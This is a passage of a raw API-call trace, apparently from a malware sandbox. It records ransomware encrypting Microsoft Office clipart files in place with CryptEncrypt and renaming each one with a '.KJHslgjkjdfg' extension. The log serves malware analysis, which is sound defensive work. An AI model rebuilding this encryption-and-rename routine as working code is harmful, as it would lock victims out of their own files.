0x990000 [0198.864] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.864] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.864] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.864] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.865] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.865] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.865] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.865] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.865] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.865] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.865] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x180e, lpOverlapped=0x0) returned 1 [0198.866] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1810, dwBufLen=0x1810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1810) returned 1 [0198.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.866] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1810, lpOverlapped=0x0) returned 1 [0198.867] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.867] SetEndOfFile (hFile=0x130) returned 1 [0198.870] GetProcessHeap () returned 0x990000 [0198.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.870] GetProcessHeap () returned 0x990000 [0198.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.kjhslgjkjdfg")) returned 1 [0198.871] CloseHandle (hObject=0x130) returned 1 [0198.872] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0198.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.873] GetProcessHeap () returned 0x990000 [0198.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.873] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.876] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.876] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.876] GetProcessHeap () returned 0x990000 [0198.876] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.876] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.876] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.876] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.876] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.876] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.876] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.877] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.877] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.877] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.877] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x25cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x25cc, lpOverlapped=0x0) returned 1 [0198.878] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25d0) returned 1 [0198.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.878] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x25d0, lpOverlapped=0x0) returned 1 [0198.879] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.879] SetEndOfFile (hFile=0x130) returned 1 [0198.882] GetProcessHeap () returned 0x990000 [0198.882] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.882] GetProcessHeap () returned 0x990000 [0198.882] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.kjhslgjkjdfg")) returned 1 [0198.884] CloseHandle (hObject=0x130) returned 1 [0198.884] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0198.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.886] GetProcessHeap () returned 0x990000 [0198.886] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.886] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.886] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.890] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.890] GetProcessHeap () returned 0x990000 [0198.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.890] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.890] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.890] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.890] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.890] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.890] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.891] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.891] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.891] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.891] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x199a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x199a, lpOverlapped=0x0) returned 1 [0198.892] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19a0) returned 1 [0198.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.892] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19a0, lpOverlapped=0x0) returned 1 [0198.892] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.893] SetEndOfFile (hFile=0x130) returned 1 [0198.896] GetProcessHeap () returned 0x990000 [0198.896] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.896] GetProcessHeap () returned 0x990000 [0198.896] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.kjhslgjkjdfg")) returned 1 [0198.897] CloseHandle (hObject=0x130) returned 1 [0198.897] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0198.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.899] GetProcessHeap () returned 0x990000 [0198.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.899] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.900] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.902] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.902] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.902] GetProcessHeap () returned 0x990000 [0198.902] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.902] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.902] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.902] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.902] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.902] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.903] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.903] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.903] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.903] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.903] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x80c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x80c, lpOverlapped=0x0) returned 1 [0198.903] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x810, dwBufLen=0x810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x810) returned 1 [0198.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.904] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x810, lpOverlapped=0x0) returned 1 [0198.904] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.904] SetEndOfFile (hFile=0x130) returned 1 [0198.907] GetProcessHeap () returned 0x990000 [0198.907] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.907] GetProcessHeap () returned 0x990000 [0198.907] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.kjhslgjkjdfg")) returned 1 [0198.909] CloseHandle (hObject=0x130) returned 1 [0198.909] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0198.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.910] GetProcessHeap () returned 0x990000 [0198.910] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.910] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.910] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.923] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.923] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.924] GetProcessHeap () returned 0x990000 [0198.924] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.924] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.924] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.924] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.924] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.924] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.924] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.924] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, 